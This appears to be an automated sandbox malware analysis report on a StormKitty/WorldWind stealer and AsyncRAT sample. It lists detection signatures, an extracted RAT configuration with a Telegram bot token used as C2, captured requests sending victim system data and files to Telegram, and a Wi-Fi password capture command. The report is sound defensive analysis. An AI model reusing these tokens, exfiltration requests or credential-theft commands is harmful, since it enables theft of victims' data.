1.2.WindowsDataC.exe.128dd984.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x4cee6:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x49467:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x4b543:$s1: \VPN\NordVPN 0x4b529:$s2: \VPN\OpenVPN 0x4b50b:$s3: \VPN\ProtonVPN
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x49c9f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x49d11:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x49d9b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x49e2d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x49e97:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x49f09:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x49f9f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4a02f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.WindowsDataC.exe.128dd984.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x35d90:$x3: StormKitty 0x3f4ce:$s1: GetBSSID 0x3f3ce:$s2: GetAntivirus 0x4a94f:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x4ab81:$s6: "encrypted_key":"(.*?)"
4.2.WindowsDataC.exe.1af50000.7.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x49ef7:$s1: \VPN\NordVPN 0x49edd:$s2: \VPN\OpenVPN 0x49ebf:$s3: \VPN\ProtonVPN
1.2.WindowsDataC.exe.128dd1d0.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x4b89a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.WindowsDataC.exe.128dd1d0.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x47e1b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.WindowsDataC.exe.128dd1d0.1.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x49ef7:$s1: \VPN\NordVPN 0x49edd:$s2: \VPN\OpenVPN 0x49ebf:$s3: \VPN\ProtonVPN
1.2.WindowsDataC.exe.128dd1d0.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x48653:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x486c5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4874f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x487e1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4884b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x488bd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x48953:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x489e3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.WindowsDataC.exe.128dd1d0.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x34744:$x3: StormKitty 0x3de82:$s1: GetBSSID 0x3dd82:$s2: GetAntivirus 0x49303:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x49535:$s6: "encrypted_key":"(.*?)"
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x4d69a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x49c1b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x4bcf7:$s1: \VPN\NordVPN 0x4bcdd:$s2: \VPN\OpenVPN 0x4bcbf:$s3: \VPN\ProtonVPN
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4a453:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4a4c5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4a54f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4a5e1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4a64b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4a6bd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4a753:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4a7e3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x36544:$x3: StormKitty 0x3fc82:$s1: GetBSSID 0x3fb82:$s2: GetAntivirus 0x4b103:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x4b335:$s6: "encrypted_key":"(.*?)"
3.0.wwst.exe.6d0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.0.wwst.exe.6d0000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.0.wwst.exe.6d0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.0.wwst.exe.6d0000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
3.0.wwst.exe.6d0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.0.wwst.exe.6d0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
3.0.wwst.exe.6d0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
3.0.wwst.exe.6d0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
3.0.wwst.exe.6d0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.0.wwst.exe.6d0000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 44 entries

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\wwst.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\wwst.exe, ParentProcessId: 4816, ParentProcessName: wwst.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 4192, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\WindowsDataC.exe	Avira: detection malicious, Label: HEUR/AGEN.1235849
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Avira: detection malicious, Label: HEUR/AGEN.1203070

Multi AV Scanner detection for submitted file

Source: 3ZCSmfAvnf.exe	ReversingLabs: Detection: 71%
Source: 3ZCSmfAvnf.exe	Virustotal: Detection: 78%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: 3ZCSmfAvnf.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\WindowsDataC.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	ReversingLabs: Detection: 96%

Machine Learning detection for sample

Source: 3ZCSmfAvnf.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\WindowsDataC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Joe Sandbox ML: detected

Source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}
Source: wwst.exe.4816.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage"}

Source: 3ZCSmfAvnf.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.9.139:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.4:49701 version: TLS 1.2

Source: 3ZCSmfAvnf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: PerfWatso.pdb source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC9000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000001.00000002.579905238.0000000012952000.00000004.00000800.00020000.00000000.sdmp, RunIt.exe, 00000002.00000000.312655795.00000000012D2000.00000020.00000001.01000000.00000009.sdmp, RunIt.exe, 00000002.00000003.341877410.0000000007108000.00000004.00000020.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.579900090.00000000125EB000.00000004.00000800.00020000.00000000.sdmp, WindowsDataC.exe, 00000004.00000002.592687805.000000001AF50000.00000004.08000000.00040000.00000000.sdmp, WindowsDataC.exe, 00000005.00000002.579786709.0000000013003000.00000004.00000800.00020000.00000000.sdmp, Rnts.exe, 00000006.00000000.373620468.00000000013A5000.00000020.00000001.01000000.0000000C.sdmp, Rnts.exe.2.dr, RunIt.exe.0.dr

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	DNS query: name: icanhazip.com
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	DNS query: name: icanhazip.com

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202023-01-18%2011:37:17%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20114127%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20G13ZBYR4%0ARAM:%204095MB%0AHWID:%2050EDCA1BAB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%2084.17.52.5%0ABSSID:%2000:0c:29:82:cb:33%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%209%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2020%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: POST /bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendDocument?chat_id=806259874 HTTP/1.1Content-Type: multipart/form-data; boundary="5ecc7be7-1e9d-460c-9509-fd66a098cc43"Host: api.telegram.orgContent-Length: 136744Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /raw/8u2AsgRy HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5292408150:AAGzl-7qXuunptMxPKE5a1UbO95MR0lQNc8/sendDocument?chat_id=5038570348 HTTP/1.1Content-Type: multipart/form-data; boundary="de92e8e6-f9c0-4441-8849-67cbb8bcdeb9"Host: api.telegram.orgContent-Length: 136744Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.9.139 104.21.9.139
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: wwst.exe, 00000003.00000003.412915021.0000000003175000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.org
Source: wwst.exe, 00000003.00000002.576947702.0000000002D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: wwst.exe, 00000003.00000002.570767012.0000000000CA4000.00000004.00000020.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.416906690.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.000000000310F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/Pv
Source: wwst.exe, 00000003.00000002.576947702.0000000002D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: wwst.exe, 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.412915021.00000000030FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 3ZCSmfAvnf.exe, 00000000.00000003.302310180.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302266430.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302101697.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302064569.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302186439.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302379930.000000001B457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: 3ZCSmfAvnf.exe, 00000000.00000003.302488182.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302310180.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302547648.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302266430.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302615836.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302508117.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302101697.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302064569.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302520583.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302186439.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302421684.000000001B457000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.302379930.000000001B457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html(uB
Source: 3ZCSmfAvnf.exe, 00000000.00000003.301319007.000000001B43C000.00000004.00000020.00020000.00000000.sdmp, 3ZCSmfAvnf.exe, 00000000.00000003.300816109.000000001B43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: 3ZCSmfAvnf.exe, 00000000.00000003.300749050.000000001B439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com(
